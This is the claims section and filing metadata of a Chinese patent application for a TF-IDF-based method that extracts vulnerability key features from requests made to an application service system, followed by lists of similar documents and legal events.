针对请求访问应用服务系统的待处理请求报文,提取所述待处理请求报文中的目标报文文本;
对所述目标报文文本进行分词处理,得到所述目标报文文本中包括的至少一个目标分词;
确定至少一个目标分词各自的逆文本频率;
根据至少一个目标分词各自的逆文本频率,从至少一个目标分词中提取所述待处理请求报文对应的漏洞关键特征。
2.根据权利要求1所述的方法,其特征在于,确定至少一个目标分词各自的逆文本频率,包括:
针对每个目标分词,判断预先存储的各分词中是否包括所述目标分词;
若预先存储的各分词中包括所述目标分词,则获取预先存储的所述目标分词的逆文本频率,其中,预先存储的分词的逆文本频率是采用第一逆文本频率算法确定的;
若预先存储的各分词中不包括所述目标分词,则采用第二逆文本频率算法确定所述目标分词的逆文本频率,所述第二逆文本频率算法所确定的逆文本频率大于第一逆文本频率算法所确定的逆文本频率。
3.根据权利要求1所述的方法,其特征在于,根据至少一个目标分词各自的逆文本频率,从至少一个目标分词中提取所述待处理请求报文对应的漏洞关键特征,包括:
按照逆文本频率从高到低的顺序对至少一个目标分词进行排序;
选择排序靠前的第一数量个目标分词作为所述待处理请求报文对应的漏洞关键特征。
4.根据权利要求1所述的方法,其特征在于,根据至少一个目标分词各自的逆文本频率,从至少一个目标分词中提取所述待处理请求报文对应的漏洞关键特征,包括:
确定至少一个目标分词各自在所述目标报文文本中出现的词频;
根据至少一个目标分词各自的词频和逆文本频率,确定至少一个目标分词各自的词频-逆文本频率;
根据至少一个目标分词各自的词频-逆文本频率,从至少一个目标分词中提取所述待处理请求报文对应的漏洞关键特征。
5.根据权利要求4所述的方法,其特征在于,根据至少一个目标分词各自的词频-逆文本频率,从至少一个目标分词中提取所述待处理请求报文对应的漏洞关键特征,包括:
按照词频-逆文本频率从高到低的顺序,对至少一个目标分词进行排序;
选择排序靠前的第二数量个目标分词作为所述待处理请求报文对应的漏洞关键特征。
6.根据权利要求1所述的方法,其特征在于,对所述目标报文文本进行分词处理之前,还包括:
针对所述目标报文文本中每条程序语句,判断所述程序语句是否经过了编码处理;
若所述程序语句经过了编码处理,则对所述程序语句进行解码处理。
7.根据权利要求6所述的方法,其特征在于,针对所述目标报文文本中每条程序语句,判断所述程序语句是否经过了编码处理之前,还包括:
对所述目标报文文本进行不可见字符识别;
若在所述目标报文文本中识别到不可见字符,将所述不可见字符从所述目标报文文本中剔除。
8.根据权利要求1所述的方法,其特征在于,根据预先存储的各分词和每个分词的逆文本频率,确定至少一个目标分词各自的逆文本频率之前,还包括:
利用与所述应用服务系统的编程语言类型对应的语料库对至少一个目标分词进行数据清洗,以剔除至少一个目标分词中的指定词性的目标分词。
9.根据权利要求8所述的方法,其特征在于,在利用与所述目标服务系统的编程语言类型对应的语料库对至少一个目标分词进行数据清洗之前,还包括:
获取多个编程语言类型各自对应的多条程序语句;
针对每个编程语言类型下的每条程序语句,对所述程序语句进行分词处理,得到所述程序语句中包括的至少一个分词;
对所述程序语句中包括的至少一个分词分别进行词性标注;
根据所述编程语言类型下各个已标注词性的分词生成该编程语言类型的语料库。
10.根据权利要求1至9任一项所述的方法,其特征在于,在确定至少一个目标分词各自的逆文本频率之前,还包括:
获取在历史时间段请求访问所述应用服务系统的至少一个历史正常请求报文;
针对每个历史正常请求报文,提取所述历史正常请求报文的报文主体中的历史报文文本;
对每个历史报文文本进行分词处理,得到所述历史报文文本中包括的至少一个分词;
针对历史报文文本中的每个分词,按照第一逆文本频率算法确定所述分词的逆文本频率;
将所述历史报文文本中的各个分词及其逆文本频率进行关联存储。
11.根据权利要求10所述的方法,其特征在于,针对历史报文文本中的每个分词,按照第一逆文本频率算法确定所述分词的逆文本频率,包括:
针对历史报文文本中的每个分词,统计出现所述分词的历史报文文本的数量;
根据出现所述分词的历史报文文本的数量,以及历史报文文本的总数量,按照第一逆文本频率算法确定所述分词的逆文本频率。
12.一种漏洞关键特征的提取装置,其特征在于,包括:
文本提取模块,用于针对请求访问应用服务系统的待处理请求报文,提取所述待处理请求报文中的目标报文文本;
分词模块,用于对所述目标报文文本进行分词处理,得到所述目标报文文本中包括的至少一个目标分词;
确定模块,用于确定至少一个目标分词各自的逆文本频率;
特征提取模块,用于根据至少一个目标分词各自的逆文本频率,从至少一个目标分词中提取所述待处理请求报文对应的漏洞关键特征。
13.一种电子设备,其特征在于,包括:存储器和处理器;所述存储器,用于存储计算机程序;所述处理器耦合至所述存储器,用于执行所述计算机程序以用于执行权利要求1-12任一项所述方法中的步骤。
14.一种存储有计算机程序的计算机可读存储介质,其特征在于,当所述计算机程序被处理器执行时,致使所述处理器能够实现权利要求1-12任一项所述方法中的步骤。
Priority Applications (1)
Application Number | Priority Date | Filing Date | Title |
---|---|---|---|
CN202211574409.5A CN115935971A (zh) | 2022-12-08 | 2022-12-08 | 漏洞的关键特征提取方法、装置、电子设备及存储介质 |
Applications Claiming Priority (1)
Application Number | Priority Date | Filing Date | Title |
---|---|---|---|
CN202211574409.5A CN115935971A (zh) | 2022-12-08 | 2022-12-08 | 漏洞的关键特征提取方法、装置、电子设备及存储介质 |
Publications (1)
Publication Number | Publication Date |
---|---|
CN115935971A true CN115935971A (zh) | 2023-04-07 |
Family
ID=86700358
Family Applications (1)
Application Number | Title | Priority Date | Filing Date |
---|---|---|---|
CN202211574409.5A Pending CN115935971A (zh) | 2022-12-08 | 2022-12-08 | 漏洞的关键特征提取方法、装置、电子设备及存储介质 |
Country Status (1)
Country | Link |
---|---|
CN (1) | CN115935971A (zh) |
-
2022
- 2022-12-08 CN CN202211574409.5A patent/CN115935971A/zh active Pending
Similar Documents
Publication | Publication Date | Title |
---|---|---|
US10210865B2 (en) | Method and apparatus for inputting information | |
US10558984B2 (en) | Method, apparatus and server for identifying risky user | |
CN110020009B (zh) | 在线问答方法、装置及系统 | |
CN108572990B (zh) | 信息推送方法和装置 | |
CN107193974B (zh) | 基于人工智能的地域性信息确定方法和装置 | |
CN112712902B (zh) | 传染病的传染概率预测方法及装置、存储介质、电子设备 | |
CN106959976B (zh) | 一种搜索处理方法以及装置 | |
CN110427453B (zh) | 数据的相似度计算方法、装置、计算机设备及存储介质 | |
CA3168501A1 (en) | Machine learned structured data extraction from document image | |
JP2021517297A (ja) | オートフィルフィールド分類のためのシステムおよび方法 | |
CN110008807B (zh) | 一种合同内容识别模型的训练方法、装置及设备 | |
CN110738056B (zh) | 用于生成信息的方法和装置 | |
CN113869063A (zh) | 数据推荐方法、装置、电子设备及存储介质 | |
CN110232155B (zh) | 浏览器界面的信息推荐方法及电子设备 | |
CN113204695A (zh) | 网站识别方法和装置 | |
US20130230248A1 (en) | Ensuring validity of the bookmark reference in a collaborative bookmarking system | |
US10769372B2 (en) | Synonymy tag obtaining method and apparatus, device and computer readable storage medium | |
CN116774973A (zh) | 数据渲染方法、装置、计算机设备及存储介质 | |
US10803861B2 (en) | Method and apparatus for identifying information | |
CN111368693A (zh) | 一种身份证信息的识别方法和装置 | |
CN106959945B (zh) | 基于人工智能的为新闻生成短标题的方法和装置 | |
CN115935971A (zh) | 漏洞的关键特征提取方法、装置、电子设备及存储介质 | |
US11863995B2 (en) | Method for generating wireless access point information, device, and computer readable medium | |
JP2024507029A (ja) | ウェブページ識別方法、装置、電子機器、媒体およびコンピュータプログラム | |
JP2016162163A (ja) | 情報処理装置及び情報処理プログラム |
Legal Events
Date | Code | Title | Description |
---|---|---|---|
PB01 | Publication | ||
PB01 | Publication | ||
SE01 | Entry into force of request for substantive examination | ||
SE01 | Entry into force of request for substantive examination |